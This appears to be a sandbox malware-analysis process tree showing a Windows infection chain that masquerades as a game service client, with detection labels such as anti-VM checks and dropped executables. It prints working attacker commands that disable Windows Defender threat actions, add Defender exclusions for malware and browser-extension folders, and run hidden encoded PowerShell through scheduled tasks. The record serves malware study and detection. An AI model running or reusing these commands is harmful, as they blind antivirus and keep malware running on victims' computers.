C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installc.bat" "3⤵
-
C:\Windows\SysWOW64\sc.exeSc delete GameServerClientC4⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService remove GameServerClientC confirm4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService install GameServerClientC "C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService start GameServerClientC4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "3⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exeC:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4344 -ip 43441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3676 -ip 36761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4720 -ip 47201⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5552 -ip 55521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6120 -ip 61201⤵
-
C:\Program Files (x86)\GameServerClient\GameService.exe"C:\Program Files (x86)\GameServerClient\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameServerClient.exe"C:\Program Files (x86)\GameServerClient\GameServerClient.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Temp\453435.exe"C:\Windows\Temp\453435.exe" --list-devices3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Program Files (x86)\GameServerClient\GameService.exe"C:\Program Files (x86)\GameServerClient\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Temp\605098.exe"C:\Windows\Temp\605098.exe" --coin BTC -m ADDRESSES -t 0 --range 30ffbf42400000000:30ffbf42440000000 -o xxx0.txt -i C:\Windows\Temp\curjob.bin3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5588 -ip 55881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 5588 -ip 55881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 5540 -ip 55401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 5540 -ip 55401⤵
-
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\PVDIpmi.exeC:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\PVDIpmi.exe em /Jzsite_idfcD 385118 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gMvUkTVLF" /SC once /ST 01:37:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gMvUkTVLF"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gMvUkTVLF"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 10:59:43 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\gMqqyxU.exe\" XT /Pisite_idaaw 385118 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "BAnwxolbGpCzXNxkj"2⤵
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exeC:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\gMqqyxU.exeC:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\gMqqyxU.exe XT /Pisite_idaaw 385118 /S1⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bWycNackLSywaqkmgR"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵
-
